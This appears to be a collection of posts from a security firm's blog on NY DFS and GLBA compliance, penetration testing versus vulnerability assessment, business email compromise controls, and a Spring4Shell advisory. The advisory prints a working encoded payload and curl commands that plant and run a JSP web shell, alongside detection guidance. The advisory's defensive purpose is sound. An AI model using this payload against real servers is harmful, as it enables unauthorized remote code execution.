On July 29th, 2022, The New York State Department of Financial Services (NY DFS) published pre-proposal amendments to their landmark Cybersecurity Regulation, 23 NYCRR 500. The “DFS Cyber reg” as it’s often referred to was a first-in-the-nation when it was published in 2017 and has since been a model that’s been used in countless other regulations. The proposed amendments are clearly designed to do the same, made evident by the fact that nearly every section has new or amended requirements.

In this blog post we’re going to describe one of the most significant proposed amendments to the reg. That is, the NEW requirements related to ransomware, extortion and the reporting of those cybersecurity events.

Notice of Ransomware Event

The proposed amendments to Section 500.17 would incorporate two new definitions of a cybersecurity event, one of which specifically addresses ransomware. Should any of the events described in this section occur, electronic notification to the superintendent, within 72 hours, is required.

  • 500.17 (a)(4) – cybersecurity events that resulted in the deployment of ransomware within a material part of the covered entity’s information system.

Under the current rule, reporting cases of ransomware would be required if: there is a required notice to a government body, self-regulatory agency or any other supervisory body or if there was a reasonable likelihood of materially harming any material part of the normal operation(s) of the covered entity.

Notice & Description of Extortion Payment

The proposed amendments to Section 500.17 would also incorporate a requirement to notify the superintendent of extortion payment, within 24 hours of the payment. A written description sent to the superintendent would also be required within 30 days. This written description would have to include:

  • A written description of the reasons payment was necessary

  • A description of alternatives to payment considered

  • All diligence performed to find alternatives to payment

  • All diligence performed to ensure compliance with applicable rules and regulations including those of the Office of Foreign Assets Control

Plans are nothing Planning is Everything

There’s no doubt that if these amendments were to pass it would impose significant new requirements on covered entities cybersecurity event reporting policies and procedures. If your Incident Response plan does not specifically address the companies policies and procedures for responding to and reporting ransomware events, then it would be worthwhile to begin that process now. With the impact ransomware has had the last several years, there’s little doubt that some form of ransomware notification will make it to the final regulation. The time to prepare is now.

Categories
Compliance

What IT Managers Need To Know About GLBA Before December 2022

Did you know that the new GLBA Safeguards Rule take effect in just 5 short months? That’s right. As of December 9th, 2022, financial institutions must implement additional Safeguards in order to protect customer data. In this article, we’re taking a look at what’s NEW and what that means for IT Managers.

Related Article: “New Technical Security Assessment Requirements For GLBA”

Gramm-Leach-Bliley Act (GLBA)

The Gramm-Leach-Bliley Act (GLBA) requires financial institutions – companies that offer consumers financial products or services like loans, financial or investment advice, or insurance – to explain their information-sharing practices to their customers and to safeguard sensitive data. You can read the Act and specifically the Safeguards Rule in all it’s glory here: https://www.ecfr.gov/current/title-16/chapter-I/subchapter-C/part-314?toc=1. The website even has a neat way to show the differences between the old version and the new version. You can check that out here: https://www.ecfr.gov/compare/current/to/2021-12-31/title-16/chapter-I/subchapter-C/part-314/section-314.4

5 Modifications to the GLBA Safeguards Rule

On January 10th 2022 the Federal Trade Commission (FTC) issued a final rule to amend the Standards for Safeguarding Customer Information (Safeguards Rule). The Final Rule contains five main modifications to the existing Rule, which are:

1. More information security requirements

The rule adds guidance (aka requirements) on how to develop and implement specific aspects of an overall information security program, such as access controls, authentication, and encryption.

2. Improve information security program accountability

It adds provisions designed to improve the accountability of financial institutions’ information security programs, such as by requiring periodic reports to boards of directors or governing bodies.

3. Exemptions from certain requirements

The following sections of the Rule do not apply to financial institutions that maintain customer information concerning fewer than five thousand consumers:

· Written risk assessment – [(b)(1)]

· Annual penetration test and semi-annual vulnerability assessment – [(d)(2)]

· Written incident response plan – [(h)]

· Annual report to your board – [(i)]

4. Expanded “financial institution” definition

It expands the definition of “financial institution” to include entities engaged in activities the Federal Reserve Board determines to be incidental to financial activities. This change adds “finders”—companies that bring together buyers and sellers of a product or service—within the scope of the Rule.

5. Added definitions & examples

Finally, it defines several terms and provides related examples in the Rule itself rather than incorporates them from the Privacy of Consumer Financial Information Rule (“Privacy Rule”).

What this means for IT managers

Compliance with GLBA may be a NEW requirement for you

The latest amendments to the Safeguards Rule expands the definition of “financial institution”, therefore, entities such as mortgage brokers, payday lenders, auto dealers, collections agencies, real estate appraisers, professional tax preparers, and many others are now be covered by the law.

You have NEW information security requirements to COMPLY with

The amended Safeguards rule adds several new elements to Section 3.14.3 Standards for safeguarding customer information. These are the new requirements that are mentioned in item #1 above. These are very similar to what NY DFS has required within their Cyber Regulation. They are:

1. Oversight

The individual responsible for overseeing and implementing your information security program no longer needs to be an employee. This can be a 3rd party, so long as there is proper oversight and direction of this individual. Keep in mind responsibility for security still lies with your firm!

2. Risk Assessment

Your information security program now needs to be based on a written Risk Assessment. That Risk Assessment must identify internal and external risks to the security, confidentiality and integrity of customer information and assesses the sufficiency of any safeguards in place to control those risks. The Rule also states that organizations must

periodically perform risk assessments with documented criteria for assessing, prioritizing and treating risks.

3. Security Safeguards

Implementation of additional security controls (safeguards) are also now required. Those are:

o Access control reviews & least privilege access

o Inventory and classification of data and systems

o Encryption of customer information

o Secure development practices for in-house built software

o Multifactor authentication

o Secure disposal of customer information, 2 years after use for most cases!

o Change management

o Monitor and log user activity

4. Technical Assessments

Continuous monitoring or an annual penetration test along with a vulnerability assessment once every six months, or after significant changes to the environment.

5. Ensure people are trained & kept up-to-date

Security awareness training is now a requirement along with maintaining qualified information security professionals as well as keeping them trained and up-to-date on the latest threats.

6. Evaluate service Providers

You must now take steps to periodically assess your service providers based on the risk they present and the continued adequacy of their safeguards.

7. Have a written incident response plan

A written incident response plan (IRP) that’s designed to help you promptly respond to and recover from any security event, that could materially impact your organization or customer data, is also now a requirement. Elements of your IRP must include communications, roles and responsibilities, documentation of incidents and lessons learned.

8. Annual report to your board

The individual responsible for your security program must now report in writing at least annually to your board of directors or equivalent governing body. This report must describe the overall status of the security program including compliance to GLBA as well as identify any material risks and the recommended remediations for such risks.

When this takes effect

If you’re reading this before December of 2022, and you feel like you’re missing the mark on some of these. There’s good news! There is still time to implement these Safeguards, since these do not go into effect until December 9th, 2022.

Effective as of December 9th, 2022:

· Oversight of the security program from a qualified individual – [314.4(a)]

· Written risk assessment – [(b)(1)]

· Security Safeguards – [(c)(1) through (8)]

· Annual penetration test and semi-annual vulnerability assessment – [(d)(2)]

· Ensure people are kept up-to-date, including security awareness training and professional security training – [(e)]

· Periodic assessment of service providers – [(f)(3)]

· Written incident response plan – [(h)]

· Annual report to your board – [(i)]

What you should do now

If you’re not sure where you stand with these requirements and how they fit into your security program, that’s ok. Whether compliance with the new Safeguards Rule is new for you or not you likely already have some of these requirements already in place. Here’s a simple 3 step process you can use to evaluate where you stand with the amended Safeguards Rule.

1. Evaluate – Begin by reviewing each of the elements described in the Safeguards rule and evaluate whether or not your current security program meets the requirement.

2. Identify – Identify and document gaps, which are, places where your current processes do not meet the requirement.

3. Implement – Then develop a plan to implement those missing pieces over the next 5 months. Make sure you’re setting deadlines and tracking key milestones to make sure you stay on track. It’s not an easy task, but a doable one.

Our team of Cybersecurity professionals here at SecurIT360 conduct hundreds of Security and Gap Assessments every year and if at any point you’re unsure where you stand, you want help identifying those gaps, or are looking for advice on how to best implement these requirements, please reach out to us. We would be more than happy to help.

Categories
Compliance

UPDATED GLBA Safeguards Rule Implements NEW Technical Security Assessment Requirements

Did you know that the new GLBA Safeguards Rule that takes effect in December 2022 includes new requirements for technical security assessments? If you’re a financial institution that must comply with GLBA, then this article is for you. We’re going to review what those technical security assessments are, what they mean for you, and how to best implement them into your security program. 

Related Article: “What IT Managers Need To Know About GLBA Before December 2022”

What is Gramm-Leach-Bliley Act (GLBA)?

The Gramm-Leach-Bliley Act (GLBA) requires financial institutions – companies that offer consumers financial products or services like loans, financial or investment advice, or insurance – to explain their information-sharing practices to their customers and to safeguard sensitive data. You can read the Act and specifically the Safeguards Rule in all its glory here: https://www.ecfr.gov/current/title-16/chapter-I/subchapter-C/part-314?toc=1. The website even has a neat way to show the differences between the old version and the new version. You can check that out here: https://www.ecfr.gov/compare/current/to/2021-12-31/title-16/chapter-I/subchapter-C/part-314/section-314.4

GLBA Safeguards Rule Amendments

On January 10th, 2022 the Federal Trade Commission (FTC) issued a final rule to amend the Standards for Safeguarding Customer Information (Safeguards Rule). The Final Rule contains five main modifications to the existing Rule. In this article, we’re going to take a look at a small subset of the first modification. The Penetration Testing and Vulnerability Assessments requirement.

NEW REQUIREMENT – Penetration Testing and Vulnerability Assessments

The first modification to the existing rule adds additional “guidance”, aka Safeguards or security control requirements. Most notably in the context of this discussion is the requirement to implement either continuous monitoring OR annual penetration testing and semi-annual vulnerability assessments. Most organizations are going to opt for the penetration test and vulnerability assessments, and that is what we’re going to be talking about from here on out.

Annual Penetration Testing

The new Rule states that you must have a penetration test performed once a year.

“you shall conduct: (i) Annual penetration testing of your information systems determined each given year based on relevant identified risks in accordance with the risk assessment;”

Unlike continuous monitoring, the Rule does include a definition for Penetration Testing. I’ve highlighted the important parts to pay attention to:

“a test methodology in which assessors attempt to circumvent or defeat the security features of an information system by attempting penetration of databases or controls from outside or inside your information systems.“

To be honest, that’s quite an interesting definition of a penetration test. It’s not how I would have written it, but nonetheless, that’s what we have to work with. Now let’s focus on the important parts.

According to the Rule, the penetration test must:

  1. Include attempts to circumvent (aka: evade, bypass, etc.) or defeat(aka: disable, impair etc.) security features

  2. Include attempts to penetrate, from inside or outside

Semi-annual Vulnerability Assessments

The new Rule also states that you must perform semi-annual vulnerability assessments.

“you shall conduct: (ii) Vulnerability assessments, including any systemic scans or reviews of information systems reasonably designed to identify publicly known security vulnerabilities in your information systems based on the risk assessment, at least every six months; and whenever there are material changes to your operations or business arrangements; and whenever there are circumstances you know or have reason to know may have a material impact on your information security program“

Unlike penetration testing, the Rule does not include a definition for vulnerability assessment.

According to the Rule, the vulnerability assessment must:

  1. Be performed twice a year, OR after any material (aka: significant) change to the business, network or infrastructure

  2. Be able to identify publicly known security vulnerabilities

When this takes effect

If you have not performed a penetration test or vulnerability assessment yet this year, then, according to only the GLBA Safeguards Rule, you’re ok. The effective date for these assessments is not until December 9th, 2022, which is when the other requirements in the Safeguards Rule take effect.

What does this all mean?

The GLBA Safeguard Rule was constructed in such a way to instruct organizations on the difference between a vulnerability assessment and a penetration test. We’ve written about the differences before in this article, so we won’t go into detail here. However, put simply, a vulnerability assessment is meant to discover any and all vulnerabilities, and a penetration test is meant to discover and validate via “penetrating”(aka exploiting) those vulnerabilities in order to prove the effectiveness, severity, and impact of those vulnerabilities to the organization.

It is likely no surprise that our security recommendations would fall in line with the GLBA Safeguard Rules because annual penetration testing and regular vulnerability assessments are best practices. We recommend clients have an annual internal and external penetration test performed as well as regular vulnerability assessments. Some clients, who have the resources, even opt to perform these vulnerability assessments quarterly. This is something that our cybersecurity professionals assist clients with on a regular basis.

Not only are we seeing regulatory requirements modified to specifically address this, but cyber insurers are also looking for these assessments to be done regularly. As a matter of fact, for some insurers, it could be a determining factor for getting a cyber insurance policy or not.

What to do next?

Again, if you have not performed a penetration test or vulnerability assessment yet this year, then, according to only the GLBA Safeguards Rule, you’re ok. For now. However, in reality, your organization is likely subject to other regulations and/or requirements so there’s a good chance you may have already had or plan to have a penetration test and vulnerability assessment performed this year. That’s great!

If you’ve never had a penetration test or a vulnerability assessment before and the GLBA Safeguards Rule is all new to you, that’s ok too! Start planning those assessments now. Many firms that offer penetration testing services book several months, sometimes 6-8 months out. So, begin planning, budgeting and scheduling of those activities now. If you are planning a penetration test and you’re not sure what to expect, check out our blog post that talks about what to expect during your upcoming external penetration test.

Lastly, our Offensive Security Team here at SecurIT360 conducts hundreds of penetration tests every year and if at any point you’re unsure where you stand, you want help identifying those gaps, or are looking for advice on how to best implement these requirements, please reach out to us. We would be more than happy to help.

Categories
Cybersecurity Advisories

Spring4Shell Detection & Mitigation CVE-2022-22965

Description

Spring4Shell, or CVE-2022-22965, is a RCE (remote code execution) flaw in the “Spring framework”. Spring, as it is commonly known, is an open-source application framework that provides infrastructure support for developing Java applications. Basically, it helps you write Java applications. According to https://spring.io :

“…Spring is infrastructural support at the application level: Spring focuses on the “plumbing” of enterprise applications so that teams can focus on application-level business logic, without unnecessary ties to specific deployment environments.”

Currently, all versions of Spring are impacted, but the web application must be running on JDK version 9 (the local Java installation) for the application to be vulnerable.

The application must also be running on top of Apache Tomcat.

The impact here is that an application running on a web server will have certain permissions. Those permissions will vary greatly, depending on how the application is built and installed. You should always assume that the web services is running with root privileges until proven otherwise. With that in mind, this Remote Code Execution vulnerability would allow an unauthenticated attacker to run commands on the underlying web server with the permissions of the web service.

Image 1: Bad bad bad!

Detecting Exploitation

Understanding the Exploit

The vulnerability relies on the ability to traverse the properties of a java class from a query parameter and locate a file that the attacker can both write to and has meaning to the execution of the program.

You would then make a request like such:

curl 
‘http://localhost:8080/spring4shell?class.module.classLoader.resources.context.parent.pipeline.first.pattern=test’

Example exploit code:

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di

class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT

class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell

class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

The above creates a file called shell.jsp in the webapps/ROOT folder. One final command can be used to exploit the vulnerability:

curl http://localhost:8080/shell.jsp?cmd=whoami

Understanding Detection

Filename/Web Shell
The initial PoC used a filename called tomcatwar.jsp, however, this is trivial to change so any new .jsp files should be scrutinized.

Log sources: Web server OS-level logs, Web server (e.g. Apache Tomcat) logs, EDR logs

 

POST Requests
It may be possible to detect by inspecting POST requests. Look for requests that contain class.module.classLoader.resources.context.parent.pipeline.first in the url.

Generically, looking for *.jsp or *.class* may also help detect.

Log sources: Web server (e.g. Apache Tomcat) logs

 

Yara Rule
This yara rule is designed to detect JSP webshells and in particular references the possibility to detect webshells found after exploiting the Spring4Shell PoC:
https://github.com/Neo23x0/signature-base/blob/master/yara/expl_spring4shell.yar


SecurIT360 SOC Managed Services

If you utilize our SOC Managed Services, here are the actions we are taking to help detect this activity:

MDR Services

  • There is an MDR rule in place looking for traffic associated with known IP addresses, we are pulling from a GreyNoise Trends list.
  • A firewall block list is available if you would like to proactively block these IPs at your firewall – https://www.greynoise.io/viz/tag/spring-core-rce-attempt.
  • Nessus has released some plugins to help detect systems vulnerable to this exploit and we have incorporated these into your External Vulnerability Scans over the weekend. If we detect internet facing vulnerable systems in your environment, we will contact you directly.

EDR Services

  • We have incorporated known IOC information to help with detection, if we see activity related to this exploit, we will contact you directly.

Vulnerability Discovery

Here we are identifying affected systems.

For Nessus plugin ID 159374, “Spring Framework < 5.2.20 / 5.3.x < 5.3.18 Remote Code Execution (CVE-2022-22965),” users are required to enable the “Show potential false alarms” setting, also known as paranoid mode, in their scan policy in order to enable this plugin in a scan. In addition, the “Peform thorough tests” setting must be enabled as well.

We also recommend enabling only this specific plugin in a paranoid scan. Scan policies configured to have all plugins enabled will see an increase in the number of triggers, as it will include all paranoid plugins during the scan.

Enabling Paranoid and Thorough Tests Modes

To enable this setting for Nessus and Tenable.io users:

  1. Click Assessment > General > Accuracy
  2. Enable the “Show potential false alarms” option
  3. Enable the “Perform thorough tests (may disrupt your network or impact scan speed)” option

Plugin ID 159374 is available in feed serial 202203311743.

Mitigation

Patch
Temporary mitigation

To apply the temporary mitigation, applications could extend RequestMappingHandlerAdapter to update the WebDataBinder at the end after all other initialization. In order to do that, a Spring Boot application can declare a WebMvcRegistrations bean (Spring MVC) or a WebFluxRegistrations bean (Spring WebFlux). More details here: https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement

Resources

Categories
Computer & Network Security

A Vulnerability Assessment is NOT a Penetration Test

Introduction

Understanding the difference between a penetration test and a vulnerability assessment is critical to understanding security posture and managing risk. Vulnerability assessments and Penetration tests (pen test for short) are very different from each other in objectives, processes, and outcomes. However, sometimes the terms are incorrectly used interchangeably. In this article, we will explore the differences between the two as well as how they relate to each other.

First, what do we mean by objectives, processes, and outcomes? Put simply, objectives are specific and measurable goals which are desired to be achieved. Processes are the steps required to achieve an outcome and accomplish an objective. An outcome is the benefit gained from achieving said objective.

The first way vulnerability assessments and pen tests differ are their objectives.

Objectives

The objective of a vulnerability assessment is to identify, rank, and report vulnerabilities or potential vulnerabilities that, if exploited, may result in system compromise. This is a broad stroke kind of assessment. You want to discover any and all vulnerabilities.

With penetration testing, there can be numerous objectives because there are various types of pen tests. Organizations that have never had a pen test performed or ones that are focused on compliance should start with a conventional pen test. This is typically designed to discover and exploit vulnerabilities that could allow access to sensitive information or resources.

For organizations that have established security programs there is another type of pen test that provides additional value above and beyond simply finding and exploiting vulnerabilities. This is called Assumed Breach. Assumed Breach pen tests are internal penetration tests that are typically designed to blend real attacks with pen testing techniques. It’s common on Assumed Breach pen tests to use the same tools and techniques used by actual attackers. This type of penetration test, depending on the organization’s goals, may also include defeating or bypassing security controls and may even include attempts to evade detection.

Process

Another major difference between the two is in the process. Penetration testing requires the use of varying toolsets and an experienced, skilled security professional to conduct the test. During the engagement, the pen tester may modify tools or change parameters of an attack in order to customize the use of an exploit for the environment. Penetration testing is a more hands-on process, one that’s tailored to the company and the environment, in comparison to a vulnerability assessment.

The SecurIT360 Offensive Security Team uses a combination of industry standard penetration testing methodologies such as the OWASPv4 Web Testing Methodology and the Penetration Testing Execution Standard as well as internally developed playbooks to perform highly comprehensive and effective penetration tests.

A vulnerability assessment, on the other hand, includes more automated processes that do not require real-time management. The vulnerability scan itself is automated and is generally conducted using a single tool. Vulnerability scans can be scheduled to run automatically without manual intervention or manipulation. It does, however, require specific knowledge of the products/systems and the environment being scanned. Interpreting the results can also be difficult for those who are not familiar with the output of a vulnerability scanner or have experience evaluating vulnerabilities as a whole. Here, vulnerability assessments and pen tests are similar in that an experienced, skilled analyst is required to assist in the assessment.

Desired Outcome

While both are point in time assessments there are various reasons for an organization to conduct vulnerability assessments and pen tests. The outcomes identified below are of course not exhaustive but are meant to describe some of the more common reasons for each.

Vulnerability assessments may assist in satisfying compliance standards, defining security posture, and identifying known vulnerabilities against a system or number of systems. Like I said earlier, the purpose is broad strokes, to find all the vulnerabilities we can.

With a penetration test, we are still looking for all of the vulnerabilities that we can with the intention of exploiting that vulnerability to compromise an account, a system, a domain, gain access to sensitive data, etc. A properly performed pen test may help determine the effectiveness of security controls, identify how long a threat may be able to remain in the system undetected, or test an incident response program, for example.

Conclusion

Even though they are accomplished using different toolsets, processes or even people, both pen tests and vulnerability assessments serve important functions for protecting your environment and reducing risk.

I hope this article has been helpful to you in learning the difference between vulnerability assessments and penetration tests. If you got value from this blog post, consider subscribing to our blog. We are regularly publishing new blog posts and sharing new information from all across the security landscape, with the goal of keeping you up-to-date on the latest security news.

If you would like to learn more about vulnerability assessments, penetration testing, assumed breach or discuss in greater detail how these assessments could benefit your business, please contact us.

SecurIT360 services include Security Assessments and Audits, Vulnerability Assessments, Penetration Testing, Managed Detection and Response, and Incident Response. SecurIT360 works with businesses across multiple industries including legal, financial, utilities, and healthcare. Let us help you determine where you should spend your time and money protecting your information.

Categories
Computer & Network Security

Business Email Compromise Prevention and Mitigation

Executive Summary

Business Email Compromise (BEC) is one of the most financially damaging cybercrimes. According to the Internet Crime Complaint Center (IC3), in 2020 the IC3 saw over $1.8 billion dollars in adjusted losses as a result of BEC.1

BEC attacks are all too common and there does not seem to be an end in sight. The question comes up time and time again, in Incident Response tabletop exercises, during penetration tests, in live incidents, and throughout our various security engagements with clients. “What can I do to prevent BEC?”

While we understand there are no silver bullets, the controls listed below are meant to be a detailed list of controls that can reduce the likelihood and impact of Business Email Compromise. These controls are a culmination of our experience working on BEC incidents and security engagements for our clients, our analysts experience and research as well as known industry best practices.

That being said, this list is not exhaustive, and it is not one-size-fits-all. It may not be feasible to implement some of these recommendations for a number of reasons. The controls your company implements should be based on your own risk assessment, your industry, and your data.

Lastly, preventing BEC is not the sole responsibility of IT nor is it the sole responsibility of the business units. Business Email Compromise must be seen as a threat to the company as a whole and must be treated as such. That means IT and business units must come together to design and implement both technical and non-technical controls and senior leadership should be involved in those discussions.

Control Areas

  • IT Controls
    These are the technical controls that we have seen play an important role in preventing BEC. These would typically be implemented and maintained by your IT team or MSP.
  • Business Controls
    The controls in this section pertain to business units and their policies and procedures that promote strong defense against BEC.
  • Financial Controls
    While shorter than the other two sections, it is one of the most important. This section speaks to controls that accounts payable, for example, can implement or improve to prevent BEC.

IT Controls

🔲 IT.1 Using Unique, Strong Passwords and Multifactor Authentication

It is no secret that one of the most critical assets for any company are their credentials. The service Have I Been Pwned, which  allows you to search various data breaches to see if your email address has been compromise, has more than 600 million passwords anyone can sift through.3

One of the most foundational and also highly critical aspects of security is unique and strong passwords. It’s all too common we see passwords reused for multiple sites or services and it’s equally as common that we see weak passwords like ‘Summer2021!’. Multifactor authentication, while not fool proof in of itself, ends up being the last line of defense.

While it’s not perfect and not enough alone, strong, and unique passwords should be used in combination with multifactor authentication for all email, banking software and other online financial services and anything else of value exposed to the internet.

🔲 IT.2 Disable External Email Forwarding & Regularly Review Active Forwarding Rules

Email forwarding can be useful, but it also poses a security risk due to the potential to unknowingly disclose information or perpetuate social engineering attacks against your companies’ clients or partners. It’s recommended that you do not allow forwarding emails to external domains and implement a process for regularly reviewing all active forwarding rules. If external email forwarding is required, it should be allowed on a case-by-case basis and be well documented.

Just as there are a number of ways for users to enable email forwarding there are a number of ways administrators can restrict or prevent external email forwarding rules. If you’re a Microsoft 365 customer, one way this can be done is by using transport rules, which can be found in the Microsoft 365 Admin Center and the Exchange Admin Center.

If you are a Microsoft customer, Defender for Office 365 has some really nice features such as disabling external email forwarding by default as well alerts that detect suspicious forwarding related activity to name a few.

🔲 IT.3 Enable Mailbox Audit Logging for All Accounts

Without logs, it’s very difficult to have a successful investigation of a potential business email compromise. During an investigation, you will need to know what actions a user performed and when. In Microsoft 365 this information is captured in what’s called mailbox audit logs. With mailbox audit logging enabled you will be able to see events for things like when a user creates a new inbox rule.

Check to verify that mailbox audit logging is enabled and if not, enable it. It’s available for all Microsoft 365 licensing levels and there is no impact to users.

🔲 IT.4 Disable Legacy Authentication Protocols

Protocols that use basic authentication typically do not support multifactor authentication. This includes POP3, IMAP, and SMTP. Single-factor authentication (e.g., username and password) should not be considered sufficient for protecting anything of value. In the Microsoft world, you can create Conditional Access policies to govern and/or block legacy authentication protocols.

If these protocols are required for a business purpose, they should only be granted as needed for specific users. This should be well documented and reviewed periodically to ensure such access is still required.

🔲 IT.5 Configure Centralized Logging & Create Alerts for Suspicious Activity

You want to make sure you’re collecting logs and sending them to a centralized location, preferable to a Security Information and Event Management (SIEM) tool where you can build alerts when suspicious activity is detected. What logs you may ask? Well since we’re talking about BEC you definitely want to be sending Microsoft 365 logs to your SIEM. You also want to include logs from other sources as well such as your Firewalls, workstations, and endpoint protection product.

Suspicious activity related to BEC you may want to alert on would be things like successful logins from out of the country, a new external email forwarding rule created, or authentication using legacy protocols.

Business Contols

🔲 BUS.1 Implement a Security Awareness Training Program

If we had to pick one thing to start doing immediately if you’re not already, it would be to implement a security awareness training program for all users, especially those who deal with finances and other sensitive information.

In order for users to not fall victim to BEC, they first must be aware of the threat. They must then learn what the red flags are through educational content and simulated phishing. Finally, they must be trained on what to do when they see something suspicious. Only with those three components can you begin to see behaviors change and only then will you be able to spot business email compromise early on.

🔲 BUS.2 Determine Wire Transfer Authority

Determining authority is all about defining who can do what, when and when it comes to wire transfers, how much. This should be simple and straightforward and should be documented and sent to everyone involved in payment processes, wire transfers, etc.

An authority list typically contains the names of people who can perform certain actions, such as a wire transfer. It will describe the amounts those people can request and/or approve, if they need additional approval and if there are any threshold amounts that invoke additional controls such as verification or approval by senior leadership.

This control ties directly into FIN.1 and FIN.2 because you should be reviewing this list regularly and you should have dual control, at least for transactions over a certain threshold.

🔲 BUS.3 Follow a Standardized Process, No Exceptions

Bad actors who are attempting to defraud your company are hoping that you will succumb to the pressure and urgency of their request and deviate from your process. It’s all too easy to fall victim to BEC when you do not have a well-defined process, that is followed vigilantly, without exception. That sounds great on paper, but in reality, sometimes exceptions are made, but they should not be made lightly or without documentation and additional oversight.

Your process should include how vendor setup is done including a vetting & approval process. All of which should have supporting documentation. This should all happen prior to paying any disbursements.

🔲 BUS.4 Report BEC to The Internet Crime Complaint Center

The IC3 Recovery Asset Team (RAT) was established in 2018 to streamline communication with financial institutions and assist FBI field offices with the freezing of funds for victims who made transfers to domestic accounts under fraudulent pretenses. Through the RAT, IC3 worked with its partners to successfully freeze approximately $380 million of the $462 million in reported losses in 2020, representing a success rate of nearly 82%.1

According to the 2021 Verizon Data Breach Investigations Report, when the IC3 RAT acts on BECs, and works with the destination bank, half of all US-based business email compromises had 99% of the money either recovered or frozen, whereas only 11% had nothing at all recovered.2

🔲 BUS.5 Check Your Business Insurance

Cyber liability insurance commonly covers costs related to data breaches, however, fraud is another question altogether. While cyber liability insurance can help cover costs related to data restoration, loss of income and possibly even extortion, you may need specific coverages or even a separate policy to cover cyber fraud. In the insurance world, you may hear this referred to as “computer fraud”, or “funds transfer fraud” or even “social engineering fraud.” Provisions in these policies cover different types of fraud and contain different types of exclusions.

Some questions to ask when reviewing your insurance policies are: Does my insurance cover financial loss due to cyber fraud or business email compromise attacks? How do I know? Do I understand what is covered and not covered by my insurance policies? Do I understand what my reporting requirements -are when something bad happens?

Check your insurance policies to ensure you have adequate coverage and make it a regular event on your calendar to review your policy every year to ensure those coverages continue to be adequate.

Financial Controls

🔲 FIN.1 Implement Dual Approval

One of the most important financial controls for preventing BEC is the concept of dual approval. Dual approval is a process by which one person initiates or requests a wire transfer and a separate person approves the transaction. It sounds simple, and it is, but there are some key components that we see are often missing.

There should always be documentation to support the transaction. The vendor should already be set up, see BUS.3. The person responsible for approving the transaction (see BUS.2) should review the initial request and the supplied documentation. Next, and this is the most important part, they should confirm the transaction with the requester. The recommended method to do this is through verbal communication. For example, the approver could call the requester using the phone number on record, not one provided by the requester, to approve the transaction.

🔲 FIN.2 Audit & Verify Permissions Regularly

As they say, trust but verify. Regularly reviewing access to banking and payment processing applications as well as application permissions is important in order to validate that only users with a business need have access and that their permissions are correctly defined for their role and responsibility.

It may seem trivial, but what we have found is that it’s easy for access control and permissions to go awry. Maybe you have users out on vacation or maybe paternity leave, and you need to have some people fill in temporarily. It’s easy to forget to remove users once they no longer need access. It’s also equally easy to not be as diligent as you should because of the “they may need to help again, so I will just leave it for now” mentality.

🔲 FIN.3 Review Bank Activity More Frequently

The sooner you identify fraud, the easier it is to recover from it. Your company may have thousands of transactions per day, maybe more. If that’s the case and you wait until the end of the month to review those transactions, you could be sifting through tens of thousands of transactions. Waiting this long means you may not be aware of fraudulent transactions until weeks after they occur. At that point, it could be more difficult to recover lost funds.

Review and understand your banking activity and transaction volume. Consider if you may be able to increase how often you review banking activity. Try weekly or maybe even daily.

Also, keep in mind that your banking institution could also fall victim to fraud and scams. Reviewing banking activity more regularly is a check and balance for your company just as much as it is for your bank.

1 https://www.ic3.gov/Media/PDF/AnnualReport/2020_IC3Report.pdf
2 https://www.verizon.com/business/resources/reports/dbir/
3 https://haveibeenpwned.com/Passwords